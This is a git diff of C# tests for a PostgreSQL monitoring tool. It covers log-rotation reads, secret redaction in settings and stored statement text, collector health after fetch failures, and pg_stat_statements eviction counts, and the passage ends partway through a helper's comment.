diff --git a/Darling/Darling.Tests/PgServerLogTailCsvJsonRotationLiveTests.cs b/Darling/Darling.Tests/PgServerLogTailCsvJsonRotationLiveTests.cs
index 69bb285093..8855f513a5 100644
--- a/Darling/Darling.Tests/PgServerLogTailCsvJsonRotationLiveTests.cs
+++ b/Darling/Darling.Tests/PgServerLogTailCsvJsonRotationLiveTests.cs
@@ -21,6 +21,7 @@ namespace Darling.Tests;
 /// carries the staged state into the next cycle the way the runner does after a successful write.
 /// </summary>
 [Collection("pg-log-rotation")]
+[Trait("Cost", "Slow")]
 public sealed class PgServerLogTailCsvJsonRotationLiveTests
 {
     private const string SkipReason = "Set DARLING_TEST_PG_LOGROTATE_CSV / DARLING_TEST_PG_LOGROTATE_JSON to a target started with logging_collector = on, log_destination = 'csvlog' / 'jsonlog', log_timezone = 'UTC' to run the csv/json log-rotation live tests.";
diff --git a/Darling/Darling.Tests/PgServerLogTailRotationLiveTests.cs b/Darling/Darling.Tests/PgServerLogTailRotationLiveTests.cs
index 46605fdeb6..67eb261222 100644
--- a/Darling/Darling.Tests/PgServerLogTailRotationLiveTests.cs
+++ b/Darling/Darling.Tests/PgServerLogTailRotationLiveTests.cs
@@ -125,6 +125,20 @@ private static bool IsTheWait(PgLogEvent row, LoggedWait wait) =>
     private static int Count(IEnumerable<PgLogEvent> rows, LoggedWait wait) =>
         rows.Count(r => IsTheWait(r, wait));
 
+    /// <summary>
+    /// The wait's lines are present and none was read twice. PostgreSQL 18 logs a lock wait's "still waiting" line
+    /// again when the waiting backend wakes on a latch before the lock is granted, so one wait can leave two lines (an
+    /// exact count of 1 failed with Expected 1, Actual 2, the failure #4919 already removed from
+    /// PgLogBurstAndRotationLiveTests). A re-read repeats a line's timestamp and text, while the repeated line carries a
+    /// later timestamp and a longer wait, so lines distinct by (timestamp, text) were each read once.
+    /// </summary>
+    private static void AssertReadOnce(IEnumerable<PgLogEvent> rows, LoggedWait wait)
+    {
+        var lines = rows.Where(r => IsTheWait(r, wait)).ToList();
+        Assert.NotEmpty(lines);
+        Assert.Equal(lines.Count, lines.Select(r => (r.OccurredAtUtc, r.Message)).Distinct().Count());
+    }
+
     /// <summary>
     /// #4719: where the log directory stood when a wait gave up, so a failed run says where the entry went: the four
     /// newest files (name, size, mtime, whether the last 4 MB holds this pid's "still waiting" line) and the end of
@@ -215,7 +229,7 @@ public async Task ARotationBetweenReads_DoesNotLoseTheLinesWrittenBeforeIt(bool
         await RotateAsync(connection, ct);
 
         var withState = await CycleAsync(connection, Carry(first.Context), binary, ct);
-        Assert.Equal(1, Count(withState.Rows, wait));
+        AssertReadOnce(withState.Rows, wait);
 
         /* No state is today's read: the newest file only, which does not hold the line. */
         var noState = await CycleAsync(connection, null, binary, ct);
@@ -224,9 +238,14 @@ public async Task ARotationBetweenReads_DoesNotLoseTheLinesWrittenBeforeIt(bool
         /* Within the cycle no raw_line_hash repeats. */
         Assert.Equal(withState.Rows.Count, withState.Rows.Select(r => r.RawLineHash).Distinct().Count());
 
-        /* Across the two cycles the line is one identity. */
-        var all = first.Rows.Concat(withState.Rows).Where(r => IsTheWait(r, wait)).Select(r => r.RawLineHash).Distinct();
-        Assert.Single(all);
+        /* Across the two cycles each line is one identity. A wait can leave two lines on PostgreSQL 18 (the repeated
+           "still waiting" line), each its own identity, so the lines are told apart by timestamp and text. */
+        var all = first.Rows.Concat(withState.Rows).Where(r => IsTheWait(r, wait)).ToList();
+        Assert.NotEmpty(all);
+        foreach (var line in all.GroupBy(r => (r.OccurredAtUtc, r.Message)))
+        {
+            Assert.Single(line.Select(r => r.RawLineHash).Distinct());
+        }
     }
 
     [Theory]
@@ -288,7 +307,7 @@ await ExecAsync(connection,
         var cycle = await CycleUntilLoggedAsync(connection, Carry(first.Context), false, wait, ct);
 
         Assert.Contains(cycle.Context.Measurements, m => m.Label == PgServerLogTail.BytesSkippedMeasurement && m.Value > 0);
-        Assert.Equal(1, Count(cycle.Rows, wait));
+        AssertReadOnce(cycle.Rows, wait);
     }
 
     [Fact]
diff --git a/Darling/Darling.Tests/PgSettingRedactionLivePostgresTests.cs b/Darling/Darling.Tests/PgSettingRedactionLivePostgresTests.cs
index 9e627ca920..02eb653651 100644
--- a/Darling/Darling.Tests/PgSettingRedactionLivePostgresTests.cs
+++ b/Darling/Darling.Tests/PgSettingRedactionLivePostgresTests.cs
@@ -25,13 +25,16 @@ namespace Darling.Tests;
 /// collector's redaction call sites fails this test), and asserts the secret never reaches a <c>Row</c> while
 /// host, port, user and application_name survive.
 ///
-/// <para>Cluster-wide state (<c>ALTER SYSTEM</c> is not per-database), so this is serialized with the rest of
-/// the live-postgres collection and restores the setting in a <c>finally</c> that runs even on failure.</para>
+/// <para>Cluster-wide state (<c>ALTER SYSTEM</c> is not per-database), so this runs in the <c>pg-cluster-roles</c>
+/// collection, alone, and restores the setting in a <c>finally</c> that runs even on failure. The probe role also
+/// holds its own CONNECT on the database it connects to (#5618), so it passes whether or not an earlier test has
+/// taken CONNECT away from PUBLIC.</para>
 /// </summary>
-[Collection("live-postgres")]
+[Collection("pg-cluster-roles")]
 public sealed class PgSettingRedactionLivePostgresTests
 {
-    private const string RoleName = "s1a_4348_redact_probe";
+    /* #4981: a role belongs to the whole cluster, so the name is unique to the run (8 lowercase hex characters). */
+    private static readonly string RoleName = "s1a_4348_redact_" + Guid.NewGuid().ToString("N")[..8];
     private const string RolePassword = "S1aRedactProbe4348Only";
     private const string SecretConninfo = "host=127.0.0.1 port=1 user=replicator password=hunter2 application_name=s1a";
 
@@ -55,6 +58,7 @@ public async Task PrimaryConninfosPassword_IsRedactedByTheRealCollector_UnderAPg
 
         await using var owner = new NpgsqlConnection(cs);
         await owner.OpenAsync(ct);
+        var quotedDatabase = "\"" + owner.Database.Replace("\"", "\"\"", StringComparison.Ordinal) + "\"";
 
         var bodySucceeded = false;
         try
@@ -66,6 +70,13 @@ public async Task PrimaryConninfosPassword_IsRedactedByTheRealCollector_UnderAPg
             await ExecAsync(owner, $"CREATE ROLE {RoleName} LOGIN PASSWORD '{RolePassword}'", ct);
             await ExecAsync(owner, $"GRANT pg_monitor TO {RoleName}", ct);
 
+            /* #5618: the probe role holds CONNECT on this database in its own right. A fresh role gets CONNECT only
+               through PUBLIC, and the product's provisioning batch takes that away from the cluster's "darling" database
+               (REVOKE ALL ... FROM PUBLIC), so a test that relied on PUBLIC failed with 42501 whenever an earlier test
+               had run that batch. Revoked in the cleanup below, before the role is dropped: a role that still holds a
+               privilege cannot be dropped. */
+            await ExecAsync(owner, $"GRANT CONNECT ON DATABASE {quotedDatabase} TO {RoleName}", ct);
+
             var probeConnectionString = new NpgsqlConnectionStringBuilder(cs)
             {
                 Username = RoleName,
@@ -149,6 +160,12 @@ await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, async () =>
             {
                 await ExecAsync(owner, "ALTER SYSTEM SET primary_conninfo = ''", ct);
                 await ExecAsync(owner, "SELECT pg_reload_conf()", ct);
+
+                /* #5618: the grant goes before the role does. The role may not exist when the body failed before
+                   creating it, hence the existence check. */
+                await ExecAsync(owner,
+                    $"DO $$ BEGIN IF EXISTS (SELECT 1 FROM pg_roles WHERE rolname = '{RoleName}') THEN "
+                    + $"REVOKE CONNECT ON DATABASE {quotedDatabase} FROM {RoleName}; END IF; END $$", ct);
                 await ExecAsync(owner, $"DROP ROLE IF EXISTS {RoleName}", ct);
             });
         }
diff --git a/Darling/Darling.Tests/PgSettingRedactorTests.cs b/Darling/Darling.Tests/PgSettingRedactorTests.cs
index 7062bec516..5f61ba18a1 100644
--- a/Darling/Darling.Tests/PgSettingRedactorTests.cs
+++ b/Darling/Darling.Tests/PgSettingRedactorTests.cs
@@ -16,11 +16,10 @@ namespace Darling.Tests;
 /// <c>primary_conninfo</c>, which can carry a replication password in plain text. These pin
 /// <see cref="PgSettingRedactor"/>'s rules directly, without a database, so the corpus runs on every build.
 ///
-/// <para>The class runs in <c>[Collection("pg-setting-redactor-timing")]</c>, which no other class shares and
-/// which does not run in parallel with any other collection: its scaling check compares wall-clock times, and
+/// <para>The class runs in <c>[Collection("timing")]</c>, which does not run in parallel with any other collection: its scaling check compares wall-clock times, and
 /// on a busy machine the rest of the suite could slow every repeat of the larger size past the bar (#4788).</para>
 /// </summary>
-[Collection("pg-setting-redactor-timing")]
+[Collection("timing")]
 public sealed class PgSettingRedactorTests
 {
     /// <summary>
diff --git a/Darling/Darling.Tests/PgSettingRedactorTimingCollection.cs b/Darling/Darling.Tests/PgSettingRedactorTimingCollection.cs
deleted file mode 100644
index 7b11aa3318..0000000000
--- a/Darling/Darling.Tests/PgSettingRedactorTimingCollection.cs
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (c) 2026 Erik Darling, Darling Data LLC
- *
- * This file is part of the SQL Server Performance Monitor.
- *
- * Licensed under the MIT License. See LICENSE file in the project root for full license information.
- */
-
-using Xunit;
-
-namespace Darling.Tests;
-
-/// <summary>
-/// Runs <c>PgSettingRedactorTests</c> with no other test class running (#4788). Its scaling check times
-/// <c>PgSettingRedactor.Redact</c> at two input sizes and fails when the larger one takes 64 times as long as
-/// the smaller. Run in parallel with the rest of a 17,000-test suite, a busy machine can slow every repeat of
-/// the larger size past that bar, and a guard that fails on a busy machine gets re-run instead of believed.
-/// <see cref="CollectionDefinitionAttribute.DisableParallelization"/> gives the timed calls a quiet process, so
-/// the bar stays at 64 times and a real quadratic pattern still fails it.
-/// </summary>
-[CollectionDefinition("pg-setting-redactor-timing", DisableParallelization = true)]
-public sealed class PgSettingRedactorTimingCollection
-{
-}
diff --git a/Darling/Darling.Tests/PgSettingScrubCandidateCensusTests.cs b/Darling/Darling.Tests/PgSettingScrubCandidateCensusTests.cs
index 56788f1c80..0c7b38191f 100644
--- a/Darling/Darling.Tests/PgSettingScrubCandidateCensusTests.cs
+++ b/Darling/Darling.Tests/PgSettingScrubCandidateCensusTests.cs
@@ -16,6 +16,7 @@ namespace Darling.Tests;
 /// a candidate row. If a future rule joins the redactor corpus without a matching term, this fails — it is
 /// so the coarse filter and the fine-grained redactor cannot drift out of rule-for-rule sync (#4348).
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class PgSettingScrubCandidateCensusTests
 {
     public static IEnumerable<object[]> MaskedRedactionCases()
diff --git a/Darling/Darling.Tests/PgStatementEvictionNoteTests.cs b/Darling/Darling.Tests/PgStatementEvictionNoteTests.cs
index 4752c34cf3..9cd3a90e14 100644
--- a/Darling/Darling.Tests/PgStatementEvictionNoteTests.cs
+++ b/Darling/Darling.Tests/PgStatementEvictionNoteTests.cs
@@ -102,13 +102,8 @@ public void EverySurfaceReadsTheSharedNote()
         Assert.DoesNotContain("evicted entries", mcp, StringComparison.Ordinal);
         Assert.DoesNotContain("evicted entries", viewer, StringComparison.Ordinal);
 
-        var at = web.IndexOf("\"get_pg_top_queries\",\r\n        { server, hours: ctx.hours, limit: 20 }", StringComparison.Ordinal);
-        if (at < 0)
-        {
-            at = web.IndexOf("\"get_pg_top_queries\",\n        { server, hours: ctx.hours, limit: 20 }", StringComparison.Ordinal);
-        }
-
+        var at = web.IndexOf("fanout(\"get_pg_top_queries\"", StringComparison.Ordinal);
         Assert.True(at >= 0, "the Top Query Shapes panel moved");
-        Assert.Contains("\"evictions.note\"", web.Substring(at, 700), StringComparison.Ordinal);
+        Assert.Contains("noteKey: \"evictions.note\"", web.Substring(at, 1500), StringComparison.Ordinal);
     }
 }
diff --git a/Darling/Darling.Tests/PgStatementTextFailureRecordingTests.cs b/Darling/Darling.Tests/PgStatementTextFailureRecordingTests.cs
new file mode 100644
index 0000000000..00e8463197
--- /dev/null
+++ b/Darling/Darling.Tests/PgStatementTextFailureRecordingTests.cs
@@ -0,0 +1,79 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5320: the hourly statement text fetch runs the statement filter's pattern on the monitored target under a
+/// 60 s command timeout. A fetch that fails (a timeout above all) is recorded as an ERROR row in the collection
+/// log under the fetch's own name, so it shows in collection health; before this it only reached the service log.
+/// </summary>
+public sealed class PgStatementTextFailureRecordingTests
+{
+    [Fact]
+    public void ATimeoutIsNamedAsOneWithItsDeadline()
+    {
+        var timeout = new NpgsqlException("Exception while reading from stream", new TimeoutException("Timeout during reading attempt"));
+
+        var message = PgStatementText.DescribeFailure(timeout);
+
+        Assert.Contains("timed out after 60 s", message, StringComparison.Ordinal);
+        Assert.Contains("no statement text was stored", message, StringComparison.Ordinal);
+        Assert.Contains("Exception while reading from stream", message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AnyOtherFailureKeepsItsOwnMessage()
+    {
+        Assert.Equal("the target refused the read", PgStatementText.DescribeFailure(new InvalidOperationException("the target refused the read")));
+    }
+
+    [Fact]
+    public void TheWorkersFailurePathWritesAnErrorRowUnderTheFetchsOwnName_AndTheFetchUsesTheNamedTimeout()
+    {
+        var source = ReadWorkerSource();
+        var signature = "private async Task TryRefreshPgStatementTextAsync(";
+        var start = source.IndexOf(signature, StringComparison.Ordinal);
+        Assert.True(start > 0, "#5320: TryRefreshPgStatementTextAsync is no longer in DarlingWorker.cs");
+
+        var end = source.IndexOf("private static async Task<(List<long> QueryIds", start, StringComparison.Ordinal);
+        Assert.True(end > start, "#5320: ReadPgStatementTextAsync no longer follows TryRefreshPgStatementTextAsync");
+        var refresh = source[start..end];
+
+        var catchAt = refresh.LastIndexOf("catch (Exception ex)", StringComparison.Ordinal);
+        Assert.True(catchAt > 0, "#5320: the broad catch is gone from TryRefreshPgStatementTextAsync");
+        var failurePath = refresh[catchAt..];
+
+        Assert.Contains("DarlingObservability.LogCollectionAsync(", failurePath, StringComparison.Ordinal);
+        Assert.Contains("PgStatementText.CollectorName, \"ERROR\"", failurePath, StringComparison.Ordinal);
+        Assert.Contains("PgStatementText.DescribeFailure(ex)", failurePath, StringComparison.Ordinal);
+
+        var read = source[end..];
+        Assert.Contains("CommandTimeout = PgStatementText.FetchCommandTimeoutSeconds", read, StringComparison.Ordinal);
+    }
+
+    private static string ReadWorkerSource([CallerFilePath] string thisFile = "")
+    {
+        var dir = Path.GetDirectoryName(thisFile)!;
+        var relative = Path.Combine("PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+        while (dir is not null && !File.Exists(Path.Combine(dir, relative)))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.NotNull(dir);
+        return File.ReadAllText(Path.Combine(dir!, relative));
+    }
+}
diff --git a/Darling/Darling.Tests/PgStatementTextHealthSemanticsTests.cs b/Darling/Darling.Tests/PgStatementTextHealthSemanticsTests.cs
new file mode 100644
index 0000000000..62c3bae57a
--- /dev/null
+++ b/Darling/Darling.Tests/PgStatementTextHealthSemanticsTests.cs
@@ -0,0 +1,89 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5320: the statement text fetch records its failures in the collection log under its own name. Collection
+/// health bands a collector from the counts of its rows in the trailing window and the age of its newest
+/// success, so a name that only ever wrote errors would read FAILING until the error aged out of the window,
+/// whatever happened afterwards. These tests pin the chosen behavior: an error alone reads failing, and a
+/// refresh that works writes a SUCCESS row, so an error followed by later successes reads healthy again.
+/// </summary>
+public sealed class PgStatementTextHealthSemanticsTests
+{
+    private const string WorkerPath = "Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs";
+
+    private static CollectorHealth Row(long errors, long successes, double hoursSinceLastRun)
+    {
+        var now = DateTime.UtcNow;
+        return new CollectorHealth
+        {
+            CollectorName = PgStatementText.CollectorName,
+            TotalRuns = errors + successes,
+            ErrorCount = errors,
+            SuccessCount = successes,
+            RowsStored = successes * 100,
+            RunsWithRows = successes,
+            LastSuccessTime = successes > 0 ? now.AddHours(-hoursSinceLastRun) : null,
+            LastRunTime = now.AddHours(-hoursSinceLastRun),
+            LastErrorTime = errors > 0 ? now.AddHours(-hoursSinceLastRun) : null,
+        };
+    }
+
+    [Fact]
+    public void AnErrorWithNoSuccessReadsFailing()
+    {
+        Assert.Equal(CollectorHealthClassifier.Failing, Row(errors: 1, successes: 0, hoursSinceLastRun: 0.1).HealthStatus);
+    }
+
+    [Fact]
+    public void AnErrorFollowedByLaterSuccessesReadsHealthy()
+    {
+        /* Hourly cadence: the error is one run in six once five refreshes have worked, under the 20 percent line. */
+        Assert.Equal(CollectorHealthClassifier.Healthy, Row(errors: 1, successes: 5, hoursSinceLastRun: 0.1).HealthStatus);
+    }
+
+    [Fact]
+    public void AnErrorFollowedByOneSuccessReadsWarningRatherThanFailing()
+    {
+        Assert.Equal(CollectorHealthClassifier.Warning, Row(errors: 1, successes: 1, hoursSinceLastRun: 0.1).HealthStatus);
+    }
+
+    [Fact]
+    public void TheNameIsNotInTheScheduleCatalog_SoTheWorkerNeverDispatchesItAsACollector()
+    {
+        /* Health bands any name in collection_log, registered or not, so no registration is needed for the row to
+           show; registering would make the sweep dispatch a collector that has no definition. */
+        Assert.False(CollectorScheduleDefaults.All.ContainsKey(PgStatementText.CollectorName));
+    }
+
+    [Fact]
+    public void ASuccessfulRefreshWritesASuccessRowUnderTheSameName()
+    {
+        var source = ReadRepoFile(WorkerPath);
+        var start = source.IndexOf("private async Task TryRefreshPgStatementTextAsync(", StringComparison.Ordinal);
+        Assert.True(start > 0);
+        var end = source.IndexOf("catch (OperationCanceledException)", start, StringComparison.Ordinal);
+        Assert.True(end > start);
+        var body = source[start..end];
+
+        var upsertAt = body.IndexOf("upsert.ExecuteNonQueryAsync", StringComparison.Ordinal);
+        Assert.True(upsertAt > 0);
+        var afterUpsert = body[upsertAt..];
+        Assert.Contains("PgStatementText.CollectorName, \"SUCCESS\", queryIds.Count", afterUpsert, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/PgStatementTextScrubLiveTests.cs b/Darling/Darling.Tests/PgStatementTextScrubLiveTests.cs
index 35eb9690ef..6329660aa6 100644
--- a/Darling/Darling.Tests/PgStatementTextScrubLiveTests.cs
+++ b/Darling/Darling.Tests/PgStatementTextScrubLiveTests.cs
@@ -41,6 +41,7 @@ public sealed class PgStatementTextScrubLiveTests
     private static readonly DateTime WideChunkDayTwo = DateTime.SpecifyKind(new DateTime(2026, 2, 11, 0, 0, 0), DateTimeKind.Unspecified);
 
     private const string Secret = "ALTER ROLE app PASSWORD 'secret-x'";
+    private const string WiderOnly = "SELECT * FROM OPENDATASOURCE('SQLNCLI', 'Data Source=x').db.dbo.t";
     private const string Neighbor = "SELECT * FROM t WHERE password_changed_at > $1";
 
     [Fact]
@@ -194,6 +195,76 @@ this store must never see timescaledb_information.chunks. */
         Assert.Equal(PgStatementTextScrub.ScrubVersion.ToString(CultureInfo.InvariantCulture), markerValue);
     }
 
+    /// <summary>The stored-text scrub keeps its version 1 pattern (Erik's ruling, 2026-10-06: no stored row is
+    /// rewritten by the wider statement filter). With no marker, a stored statement text and a stored blocking
+    /// edge that only the wider shared pattern names stay byte-identical after the scrub, while a row the
+    /// version 1 pattern names is withheld as on dev. The seed is first checked against both patterns so the
+    /// pin cannot pass vacuously.</summary>
+    [Fact]
+    public async Task TheScrubKeepsItsVersionOnePattern_AWiderOnlyRowIsUntouched_AndAVersionOneRowIsWithheld()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live #4348 frozen-pattern statement-text scrub (it mints its own scratch database).");
+
+        Assert.Equal(1, PgStatementTextScrub.ScrubVersion);
+
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+
+        await using (var setupConnection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await setupConnection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(setupConnection, ct);
+
+            /* Named by the wider shared pattern only (a linked-source function the version 1 pattern lacks). */
+            Assert.False(await MatchesAsync(setupConnection, WiderOnly, PgStatementTextScrub.Version1Pattern, ct),
+                "the seeded wider-only statement must not match the version 1 pattern");
+            Assert.True(await MatchesAsync(setupConnection, WiderOnly, PerformanceMonitor.Common.SensitiveStatements.Pattern, ct),
+                "the seeded wider-only statement must match the wider shared pattern");
+            Assert.True(await MatchesAsync(setupConnection, Secret, PgStatementTextScrub.Version1Pattern, ct));
+
+            await InsertStatementTextAsync(setupConnection, ServerA, 3001, WiderOnly, ct);
+            await InsertStatementTextAsync(setupConnection, ServerA, 3002, Secret, ct);
+            await InsertBlockingEdgeAsync(setupConnection, ServerA, Day, 301, WiderOnly, Secret, ct);
+        }
+
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var run = await PgStatementTextScrub.RunAsync(postgres, logger: null, ct);
+        Assert.False(run.AlreadyDone);
+        Assert.Equal(1, run.StatementTextRowsUpdated);
+        Assert.Equal(1, run.BlockingEdgesRowsUpdated);
+
+        await using var verifyConnection = new NpgsqlConnection(scratch.ConnectionString);
+        await verifyConnection.OpenAsync(ct);
+
+        var placeholder = PerformanceMonitor.Collectors.PgSensitiveStatementFilter.PlaceholderText;
+        Assert.Equal(WiderOnly,
+            await ScalarTextAsync(verifyConnection, "SELECT query_text FROM collect.pg_statement_text WHERE server_id = $1 AND queryid = $2", ServerA, 3001, ct));
+        Assert.Equal(placeholder,
+            await ScalarTextAsync(verifyConnection, "SELECT query_text FROM collect.pg_statement_text WHERE server_id = $1 AND queryid = $2", ServerA, 3002, ct));
+        Assert.Equal(WiderOnly,
+            await ScalarTextAsync(verifyConnection, "SELECT blocked_query FROM collect.pg_blocking_edges WHERE server_id = $1 AND collection_id = $2", ServerA, 301, ct));
+        Assert.Equal(placeholder,
+            await ScalarTextAsync(verifyConnection, "SELECT blocking_query FROM collect.pg_blocking_edges WHERE server_id = $1 AND collection_id = $2", ServerA, 301, ct));
+
+        var markerValue = await ScalarTextAsync(
+            verifyConnection,
+            "SELECT state_value FROM collect.collector_state WHERE server_id = $1 AND collector_name = $2 AND state_key = $3",
+            DarlingObservability.FleetServerId, PgStatementTextScrub.StateCollectorName, PgStatementTextScrub.ScrubVersionStateKey, ct);
+        Assert.Equal("1", markerValue);
+    }
+
+    private static async Task<bool> MatchesAsync(NpgsqlConnection connection, string text, string pattern, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand("SELECT $1::text ~* $2::text", connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = text });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = pattern });
+        return (bool)(await command.ExecuteScalarAsync(ct))!;
+    }
+
     private static async Task<bool> ContainsSecretAsync(NpgsqlConnection connection, CancellationToken ct)
     {
         var countCommand = new NpgsqlCommand(
diff --git a/Darling/Darling.Tests/PgStatementsDeallocLiveTests.cs b/Darling/Darling.Tests/PgStatementsDeallocLiveTests.cs
index 7fd981015b..31f79ae5e7 100644
--- a/Darling/Darling.Tests/PgStatementsDeallocLiveTests.cs
+++ b/Darling/Darling.Tests/PgStatementsDeallocLiveTests.cs
@@ -40,6 +40,12 @@ public async Task TheCollectorRead_CarriesDeallocAtOrdinal30_OrNullWithoutTheExt
         Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live #4677 collector read.");
 
         var ct = TestContext.Current.CancellationToken;
+
+        /* pg_stat_statements.max is a server setting, readable from any database once the library is preloaded. */
+        var maxEntries = await ReadMaxEntriesAsync(baseConnectionString!, ct);
+        Assert.SkipWhen(maxEntries > MaxEntriesTheEvictionCanFill,
+            $"pg_stat_statements.max is {maxEntries}, more than the {MaxEntriesTheEvictionCanFill} this test fills to force an eviction pass.");
+
         var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
         var bodySucceeded = false;
         try
@@ -59,10 +65,41 @@ public async Task TheCollectorRead_CarriesDeallocAtOrdinal30_OrNullWithoutTheExt
             await DarlingMcpTestData.ExecAsync(connection, ct, "CREATE EXTENSION pg_stat_statements");
             await DarlingMcpTestData.ExecAsync(connection, ct, "SELECT 1");
             var major = connection.PostgreSqlVersion.Major;
-            var direct = await ScalarAsync(connection, "SELECT dealloc FROM public.pg_stat_statements_info", ct);
-            var read = await ReadOrdinal30Async(connection, Sql(major, aurora: false), ct);
+
+            /* #4981: the counter belongs to the SERVER, not to this test. pg_stat_statements_info.dealloc counts the
+               eviction passes of every session on the cluster, and a full pg_stat_statements_reset() from another
+               live class sets it back to zero and stamps a new stats_reset. Reading it directly once and asserting the
+               collector's read equals it failed whenever another session moved it between the two reads. The
+               collector's read must lie between a direct read taken just before it and one taken just after, which
+               holds however much the other sessions add (the statements the test itself runs between the reads add
+               to both ends alike). A reset between the two direct reads (a changed stats_reset) voids that attempt,
+               and the read is tried again.
+
+               The bracket only proves something once the counter is above zero: on a cluster that has never evicted
+               it is [0, 0], and a collector that reported 0 for everything would pass. So every attempt first makes
+               sure this cluster has evicted at least once (more distinct statements than pg_stat_statements.max),
+               which also puts the stale-count case, a read below the direct one, out of the bracket. */
+            (int Count, long? Dealloc) read = (0, null);
+            (long Dealloc, string Epoch) before = (0, string.Empty);
+            (long Dealloc, string Epoch) after = (0, string.Empty);
+            for (var attempt = 0; attempt < 5; attempt++)
+            {
+                await EnsureEvictionsAsync(connection, maxEntries, ct);
+                before = await DeallocAsync(connection, ct);
+                read = await ReadOrdinal30Async(connection, Sql(major, aurora: false), ct);
+                after = await DeallocAsync(connection, ct);
+                if (before.Epoch == after.Epoch && before.Dealloc > 0)
+                {
+                    break;
+                }
+            }
+
+            /* Five resets in a row is not noise. */
+            Assert.Equal(before.Epoch, after.Epoch);
+            Assert.True(before.Dealloc > 0, "the cluster has evicted nothing, so the bracket could not tell a collector that reports 0");
             Assert.True(read.Count > 0);
-            Assert.Equal(direct, read.Dealloc);
+            Assert.NotNull(read.Dealloc);
+            Assert.InRange(read.Dealloc!.Value, before.Dealloc, after.Dealloc);
 
             /* The Aurora flavor reads aurora_stat_statements(), which stock PostgreSQL does not have, so it cannot
                run here; its text must carry the same twin as its last select item. */
@@ -242,11 +279,81 @@ private static string Sql(int major, bool aurora)
         return (count, dealloc);
     }
 
-    private static async Task<long?> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    /// <summary>The most entries a cluster may hold for this test to fill it: each is a statement of its own to run.</summary>
+    private const int MaxEntriesTheEvictionCanFill = 20000;
+
+    private static async Task<int> ReadMaxEntriesAsync(string connectionString, CancellationToken ct)
     {
-        await using var command = new NpgsqlCommand(sql, connection);
-        var value = await command.ExecuteScalarAsync(ct);
-        return value is null or DBNull ? null : Convert.ToInt64(value, System.Globalization.CultureInfo.InvariantCulture);
+        await using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await using var command = new NpgsqlCommand("SELECT current_setting('pg_stat_statements.max')::int", connection);
+        return Convert.ToInt32(await command.ExecuteScalarAsync(ct), System.Globalization.CultureInfo.InvariantCulture);
+    }
+
+    /// <summary>
+    /// Makes sure pg_stat_statements has evicted on this cluster, so <c>dealloc</c> is above zero: runs more distinct
+    /// statements than the extension can hold, a batch at a time, until the counter moves. A statement's identity is
+    /// the shape of its parse tree, and neither a constant nor an alias is part of it, so the statements differ in
+    /// shape: how many select items, how long an addition each one carries, and which of WHERE, LIMIT and OFFSET
+    /// follow. Does nothing when the counter is already above zero.
+    /// </summary>
+    private static async Task EnsureEvictionsAsync(NpgsqlConnection connection, int maxEntries, CancellationToken ct)
+    {
+        if ((await DeallocAsync(connection, ct)).Dealloc > 0)
+        {
+            return;
+        }
+
+        const int variants = 8;
+        var side = (int)Math.Ceiling(Math.Sqrt((maxEntries + 1) / (double)variants)) + 1;
+        var batch = new System.Text.StringBuilder();
+        var inBatch = 0;
+
+        for (var variant = 0; variant < variants; variant++)
+        {
+            var suffix = ((variant & 1) != 0 ? " WHERE true" : string.Empty)
+                + ((variant & 2) != 0 ? " LIMIT 1" : string.Empty)
+                + ((variant & 4) != 0 ? " OFFSET 0" : string.Empty);
+
+            for (var items = 1; items <= side; items++)
+            {
+                for (var terms = 0; terms <= side; terms++)
+                {
+                    var item = "1" + string.Concat(System.Linq.Enumerable.Repeat("+1", terms));
+                    batch.Append("SELECT ").Append(string.Join(",", System.Linq.Enumerable.Repeat(item, items))).Append(suffix).Append(';');
+
+                    if (++inBatch < 400)
+                    {
+                        continue;
+                    }
+
+                    await DarlingMcpTestData.ExecAsync(connection, ct, batch.ToString());
+                    batch.Clear();
+                    inBatch = 0;
+                    if ((await DeallocAsync(connection, ct)).Dealloc > 0)
+                    {
+                        return;
+                    }
+                }
+            }
+        }
+
+        if (inBatch > 0)
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct, batch.ToString());
+        }
+    }
+
+    /// <summary>
+    /// The extension's own eviction counter and the stamp of the last reset, read together in one statement, so a caller
+    /// can tell a reset (a new stamp) from an increase.
+    /// </summary>
